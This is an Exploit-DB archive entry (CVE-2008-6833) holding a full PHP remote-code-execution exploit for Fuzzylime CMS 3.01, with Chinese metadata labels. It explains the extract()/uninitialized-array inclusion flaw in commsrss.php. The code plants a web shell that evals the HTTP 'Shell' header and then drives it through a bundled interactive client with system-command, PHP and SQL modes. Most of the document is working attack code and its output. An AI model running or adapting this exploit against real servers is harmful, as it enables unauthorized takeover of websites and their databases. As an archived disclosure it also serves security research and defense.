标题: Fuzzylime CMS 3.01 - 'commrss.php' Remote Code Execution EDB-ID: 6060 CVE: 2008-6833 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-13 漏洞利用脚本: <?php
##
## Name:       Fuzzylime 3.01 Remote Code Execution Exploit
## Credits:    Charles "real" F. <charlesfol[at]hotmail.fr>
##
## Conditions: None
##
## Greetz:     Inphex, hEEGy and austeN
##
## Explanations
## ************
##
## Ok, so today we will go for a walk in the fuzzylime cms maze ...
## Finding vulns was easy, but finding a no condition vuln was quite
## harder ...
##
## First, we look to the code/content.php file:
##
##---[code/content.php]------------------------------------------
## 02| require_once("code/functions.php");
## --| [...]
## 09| $countfile = "code/counter/${s}_$p.inc.php";
## 10| if(file_exists($countfile)) {
## 11|     $curcount = loadfile($countfile);
## 12| }
## 13| $curcount++;
## 14| if($handle = @fopen($countfile, 'w')) { // Open the file for saving
## 15|     fputs($handle, $curcount);
## 16|     fclose($handle);
## 17| }
##----------------------------------------------------------------
##
## $s, $p, $curcount vars are not initialized, so we can set it if
## register_globals=On.
##
## POC: http://[url]/code/content.php?s=owned&p=owned&curcount=[PHP_SCRIPT]
##
## Note: [C:\]# php -r "$var='abc'; $var++; print $var;"
##       abd
## So the ++ just increment the last string letter position in the alphabet
## a->b, b->c, etc.
##
## Ok, we got remote code exec ... but wait a minute ... no ! require_once()
## requires a file in the code folder, but we are already in this folder ...
## PHP will die (Fatal Error) and our evil code won't be executed.
## And we wanted a no condition exploit, but this vuln needs register_globals
## to be On ...
##
## hum... let's look at other pages: we can find that extract() function is
## pretty often used, and it can simulate register_globals ...
## Now we are looking for a file which uses extract() and which can include
## code/content.php file, and which is in the root path.
##
## And we finally found commsrss.php, which contains:
##
##---[commsrss.php]-----------------------------------------------
## 17| extract($HTTP_POST_VARS); 
## 18| extract($_POST);
## 19| extract($HTTP_GET_VARS); 
## 20| extract($_GET);
## 21| extract($HTTP_COOKIE_VARS); 
## 22| extract($_COOKIE);
## --| [...]
## 64| $dir = "blogs/comments/";
## 65| if($dlist = opendir($dir)) {
## 66|     while (($file = readdir($dlist)) !== false) {
## 67|         if(strstr($file, $p)) {
## 68|             $files[] = $file;
## 69|         }
## 70|     }
## 71|     closedir($dlist);
## 72| }
## 73| for($i = 0; $i < count($files); $i++) {
## 74|     include "blogs/comments/$files[$i]";
## --| [...]
## 89| }
##----------------------------------------------------------------
##
## w00t ! $files array is not initialized ... we can include every
## file we want.
##
## Using chr() we can bypass magic_quotes_gpc=Off [ see chrit() ]
##
## Our problems are solved, we have a Remote Code Execution without
## conditions.
##
## Proof of Concept
## ****************
##
## [C:\]# php exploit.php http://www.target.com/
## [target][cmd]# ls
## blogs_.inc.php
## content_index.inc.php
## content_index.php.inc.php
## content_test.inc.php
## front_index.inc.php
## front_test.inc.php
## index.htm
## index.php_index.inc.php
##
## [target][cmd]# exit
##
## [C:\]# 

$url = $argv[1];


$php_code = '<?php'
          . 'error_reporting(0);'
          . 'print ' . chrit('-:-:-') . ';'.
          . 'eval(stripslashes($_SERVER[HTTP_SHELL]));'
   . 'print ' . chrit('-:-:-') . ';'.
   . '?>';

$php_code--; // 13| $curcount++;

$c0de  = $url . 'commsrss.php?s=blogs&m=&usecache=0&files[0]=../../code/content.php'
              . '&curcount=' . urlencode($php_code);

$shell = $url . 'code/counter/blogs_.inc.php';


# Be careful: we can create a valid shell only ONCE.
# So check if it does not already exist before doing
# anything else.
if(status_404($shell)==true)
 get($c0de);

$phpR = new phpreter($shell, '-:-:-(.*)-:-:-', 'cmd', array(), false);

function chrit($str)
{
 $r = '';
 
 for($i=0;$i<strlen($str);$i++)
 {
  $z  = substr($str, $i, 1);
  $r .= '.chr('.ord($z).')';
 }
 
 return substr($r, 1);
}

function get($url)
{
 $infos = parse_url($url);
 $host  = $infos['host'];
 $port  = isset($infos['port']) ? $infos['port'] : 80;
 
 $fp = fsockopen($host, $port, &$errno, &$errstr, 30);
 
 $req  = "GET $url HTTP/1.1\r\n";
 $req .= "Host: $host\r\n";
 $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
 $req .= "Connection: close\r\n\r\n";

 fputs($fp,$req);
 fclose($fp);
}

function status_404($url)
{
 $infos = parse_url($url);
 $host  = $infos['host'];
 $port  = isset($infos['port']) ? $infos['port'] : 80;
 
 $fp = fsockopen($host, $port, &$errno, &$errstr, 30);
 
 $req  = "GET $url HTTP/1.1\r\n";
 $req .= "Host: $host\r\n";
 $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
 $req .= "Connection: close\r\n\r\n";

 fputs($fp, $req);
 
 $res = '';
 while(!feof($fp) && !preg_match('#404#', $res))
  $res .= fgets($fp, 1337);
 
 fclose($fp);
 
 if(preg_match('#404#', $res))
  return true;
 
 return false;
}

/*
 * Copyright (c) real
 *
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * TITLE:          PHPreter
 * AUTHOR:         Charles "real" F. <charlesfol[at]hotmail.fr>
 * VERSION:        1.0
 * LICENSE:        GNU General Public License
 *
 * This is a really simple class with permits to exec SQL, PHP or CMD
 * on a remote host using the HTTP "Shell" header.
 *
 *
 * Sample code:
 * [host][sql]# mode=cmd
 * [host][cmd]# id
 * uid=2176(u47170584) gid=600(ftpusers)
 * 
 * [host][cmd]# mode=php
 * [host][php]# echo phpversion();
 * 4.4.8
 * [host][php]# mode=sql
 * [host][sql]# SELECT version(), user()
 * --------------------------------------------------
 *  version()           | 5.0.51a-log
 *  user()              | dbo225004932@74.208.16.148
 * --------------------------------------------------
 * 
 * [host][sql]#
 *
 */

class phpreter
{
 var $url;
 var $host;
 var $port;
 var $page;
 
 var $mode;
 
 var $ssql;
 
 var $prompt;
 var $phost;
 
 var $regex;
 var $data;
 
 /**
  * __construct()
  *
  * @param url      The url of the remote shell.
  * @param regexp   The regex to catch cmd result.
  * @param mode     Mode: php, sql or cmd.
  * @param sql      An array with the file to include,
  *                 and sql vars
  * @param clear    Determines if clear() is called
  *                 on startup
  */
 function __construct($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true)
 {
  $this->url = $url;
  
  $this->regex = '#'.$regexp.'#is';
  
  #
  # Set data
  #
  
  $infos         = parse_url($this->url);
  $this->host    = $infos['host'];
  $this->port    = isset($infos['port']) ? $infos['port'] : 80;
  $this->page    = $infos['path'];
  unset($infos);
  
  # www.(site).com
  $host_tmp      = explode('.',$this->host);
  $this->phost   = $host_tmp[ count($host_tmp)-2 ];
  unset($host_tmp);
  
  #
  # Set up MySQL connection string
  #
  if(!sizeof($sql))
   $this->ssql = '';
  elseif(sizeof($sql)==5)
  {
   $this->ssql = "include('$sql[0]');"
               . "mysql_connect($sql[1], $sql[2], $sql[3]);"
        . "mysql_select_db($sql[4]);";
  }
  else
  {
   $this->ssql = ""
               . "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');"
        . "mysql_select_db('$sql[3]');";
  }
  
  $this->setmode($mode);
  
  #
  # Main Loop
  #

  if($clear) $this->clear();
  print $this->prompt;

  while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) )
  {
   # change mode
   if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array))
    $this->setmode($array[3]);
   
   # clear data
   elseif(preg_match('#^clear$#i',$cmd))
    $this->clear();
   
   # else
   else print $this->exec($cmd);
   
   print $this->prompt;
  }
 }
 
 /**
  * clear()
  * Just clears ouput, printing '\n'x50
  */
 function clear()
 {
  print str_repeat("\n", 50);
  return 0;
 }
 
 /**
  * setmode()
  * Set mode (PHP, CMD, SQL)
  * You don't have to call it.
  * use mode=[php|cmd|sql] instead,
  * in the prompt.
  */
 function setmode($newmode)
 {
  $this->mode = strtolower($newmode);
  $this->prompt = '['.$this->phost.']['.$this->mode.']# ';
  
  switch($this->mode)
  {
   case 'cmd':
    $this->data = 'system(\'<CMD>\');';
    break;
   case 'php':
    $this->data = '';
    break;
   case 'sql':
    $this->data = $this->ssql
                . '$q = mysql_query(\'<CMD>\') or print(str_repeat("-",50)."\n".mysql_error()."\n");'
         . 'print str_repeat("-",50)."\n";'
         . 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))'
         . '{'
         .  'foreach($r as $k=>$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $v\n";'
         .  'print str_repeat("-",50)."\n";'
         . '}';
    break;
  }
  return $this->mode;
 }

 /**
  * exec()
  * Execute any query and catch the result.
  * You don't have to call it.
  */
 function exec($cmd)
 {
  if(!strlen($this->data)) $shell = $cmd;
  else                     $shell = str_replace('<CMD>', addslashes($cmd), $this->data);
  
  $fp = fsockopen($this->host, $this->port, &$errno, &$errstr, 30);
  
  $req  = "GET " . $this->page . " HTTP/1.1\r\n";
  $req .= "Host: " . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . "\r\n";
  $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
  $req .= "Shell: $shell\r\n";
  $req .= "Connection: close\r\n\r\n";
  
  unset($shell);

  fputs($fp, $req);
  
  $content = '';
  while(!feof($fp)) $content .= fgets($fp, 128);
  
  fclose($fp);
  
  # Remove headers
  $data    = explode("\r\n\r\n", $content);
  $headers = array_shift($data);
  $content = implode("\r\n\r\n", $data);
  
  if(preg_match("#Transfer-Encoding:.*chunked#i", $headers))
   $content = $this->unchunk($content);
 
  preg_match($this->regex, $content, $data);
  
  if($data[1][ strlen($data)-1 ] != "\n") $data[1] .= "\n";
  
  return $data[1];
 }
 
 /**
  * unchunk()
  * This function aims to remove chunked content sizes which
  * are putted by apache server when it uses chunked
  * transfert-encoding.
  */
 function unchunk($data)
 {
  $dsize  = 1;
  $offset = 0;
  
  while($dsize>0)
  {
   $hsize_size = strpos($data, "\r\n", $offset) - $offset;
   
   $dsize = hexdec(substr($data, $offset, $hsize_size));
   
   # Remove $hsize\r\n from $data
   $data = substr($data, 0, $offset) . substr($data, ($offset + $hsize_size + 2) );
   
   $offset += $dsize;
   
   # Remove the \r\n before the next $hsize
   $data = substr($data, 0, $offset) . substr($data, ($offset+2) );
  }
  
  return $data;
 }
}

?>

# milw0rm.com [2008-07-13] URL: https://www.exploit-db.com/exploits/6060